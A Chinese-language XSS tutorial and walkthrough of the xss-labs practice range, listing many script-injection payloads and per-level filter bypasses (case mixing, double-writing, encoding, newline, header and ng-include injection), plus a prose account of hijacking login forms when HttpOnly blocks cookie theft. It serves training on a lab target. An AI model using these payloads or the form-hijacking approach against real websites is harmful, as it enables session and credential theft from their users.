WEB漏洞-XSS跨站之代码绕过与httpOnly绕过
- 什么是HttpOnly?
- 对方开启HttpOnly你在盗取cookie失败的情况下可以采用其他方案
- 手工判断xss跨站漏洞
- 常用代码:
- level 1
- level 2(">闭合标签绕过)
- 如何判断是双引号闭合还是单引号闭合
- level 3(事件绕过+'符号闭合)
- level 4(事件绕过+"符号闭合)
- level 5(herf绕过+符号闭合)
- level 6(大小写绕过)
- level 7(双写绕过)
- level 8(编码绕过)
- level 9(特殊绕过)
- less 10(type绕过)
- level 11(referer头绕过)
- level 12(agent绕过)
- level 13(cookie绕过)
- level 14
- level 15(文件包含)
- level 16(%0a绕过)
- level 17(闭合标签绕过)
- level 18(闭合标签绕过)
- level 19
- level 20
什么是HttpOnly?
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,具体一点的介绍请google进行搜索。
作用:仅仅是防止通过js脚本读取到cookie信息
虽然设置了httponly之后拿不到cookie,但是还是存在xss跨站语句,阻止的仅仅是获取cookie
对方开启HttpOnly你在盗取cookie失败的情况下可以采用其他方案
登陆后台权限方式
1.以cookie形式
2.直接账号密码登录:
保存账号密码读取:通过读取他保存在本地的数据
(需要xss产生于登录地址,利用表单劫持)
type、id、name通过查看网站源代码中的登录框表单
没保存账号密码读取:通过表单(登录框)劫持数据
(产生在后台的XSS,例如存储型XSS留言等)
劫持原理:
抓取数据包另外发送一份到跨站平台
但是如果是https网站的话,数据是进行了ssl加密,获取了数据之后也是很难读取到账号密码的,鸡肋方法。
手工判断xss跨站漏洞
靶场:xss_labs
常用代码:
echo
<?php
echo "<script>alert(1)</script>";
?>
img标签
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" onerror=eval("alert('xss')")>
<img src=x onmouseover=alert('xss')>
css
<img STYLE="background-image:url(javascript:alert('XSS'))">
href
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
form标签
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss')>
input标签
标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
iframe标签
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
svg标签
<svg onload=alert(1)>
level 1
直接在name赋值个弹窗即可
level 2(">闭合标签绕过)
尝试赋值
<script>alert()</script>
发现失败,查看源代码
发现存在一个htmlspecialchars转化函数
分析发现这个函数是将字符串实体化了
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体, 把符号转换为实体化标签,xss经常过滤的情况。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为 ’
< (小于)成为 <
> (大于)成为 >
实例:
<?php
$str="this is a <b>test</b>";
echo $str;
echo "<br>";
echo htmlspecialchars($str);
?>
结果:
所以我们不能使用带<>的进行payload,都是回显的地方由两处,第二个地方是没有函数转义的
所以我们可以闭合前面的input语句,然后加入alert
"><script>alert(1)</script>
如何判断是双引号闭合还是单引号闭合
拿level2为例子
输入'
审查元素
输入"
审查元素
输入1
审查元素
三者对比,可知是双引号闭合
level 3(事件绕过+'符号闭合)
测试上述两种代码发现都不行,查看源代码发现两处的字符串都被htmlspecialchars函数转义了,所以我们不能使用<>来payload,那么我们可以利用鼠标点击事件进行payload
payload语句
'οnclick='alert(1)
前面的单引号与value的左边的单引号闭合,后面的双引号与value的右边的单引号闭合
提交后如何点击输入框成功
level 4(事件绕过+"符号闭合)
测试第3关的代码发现不行,f12查看元素发现
value因为是双引号没有闭合掉,所以我们将单引号改为双引号即可通过
"οnclick="alert(1)
level 5(herf绕过+符号闭合)
尝试使用
"οnclick="alert(1)
发现on进行替换变成o_n,那么我们就不能使用鼠标事件了
查看元素,发现这个函数可能是在input里面执行的,那么我们可以将<input闭合掉
使用如下代码发现script也被替换了
"><script>alert(1)</script>
那么我们可以借助a herf属性,自己创建一个javascript代码
"><a href="javascript:alert(1)">
然后点击输入框附近的链接即可成功。
level 6(大小写绕过)
使用前5次的payload,发现都不行,on,src,herf都被替换了
关键字都被过滤,使用大写替绕过
"><a hRef="javaScript:alert(1)">
level 7(双写绕过)
发现大写也无法绕过了,查看源代码发现有小写函数
都是发现不是替换成o_n而是将on直接变成空字符,那么我们可以双写进行绕过
"><a hhrefref="javasscriptcript:alert(1)">
level 8(编码绕过)
大小写,双写均不行,替换为unicode编码
level 9(特殊绕过)
查看代码,发现代码会检测是否存在http://
javascript:alert(1)/*http://*/
less 10(type绕过)
f12查看元素发现
但是type是hidden,被隐藏了,所以我们必须都试一次
t_sort="><οnclick="alert(1)" type='text'>
level 11(referer头绕过)
http referer 头,检测来源。
浏览器会检测此JS代码是否来自CSRF跨站请求脚本。检测来源,
如果管理员在登录状态的情况下,进入攻击方的带有登录时触发了添加管理员账号和密码的漏洞的网站,那么就会导致后台添加了新的账号和密码
如何防范:检测来源,也就是浏览器的同源策略,看看是否来自同一个域名,不是同一个域名的不接受。
token验证会解决这个问题
此关卡在referer头输入即可
t_sort="><οnclick="alert(1)" type='text'>
level 12(agent绕过)
payload:
t_sort="><οnclick="alert(1)" type='text'>
level 13(cookie绕过)
抓包发现有cookie
尝试在cookie后面加入
t_sort="><οnclick="alert(1)" type='text'>
成功
level 14
level 15(文件包含)
审查元素
可以看到我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。
ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。
先尝试看看能不能直接闭合标签来触发弹窗
看出被实体化了
先看看源文件的代码
既然此处用了ng-include指令的话,先了解一下其具体的用法。
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
构造代码:
?src='level1.php?name=<img src=1 οnerrοr=alert()>'
level 16(%0a绕过)
查看代码发现script,/都进行过滤
采用换行符%0a进行绕过,触发xss。
<a%0atype="text"%0aonclick="alert(1)">
level 17(闭合标签绕过)
闭合<embed>
即可
level17.php?arg01&arg02="> onmouseover=alert()
level 18(闭合标签绕过)
跟less 19一致,只是多了一个注入点通过闭合<embed>
即可
level17.php?arg01&arg02="> οnmοuseοver=alert()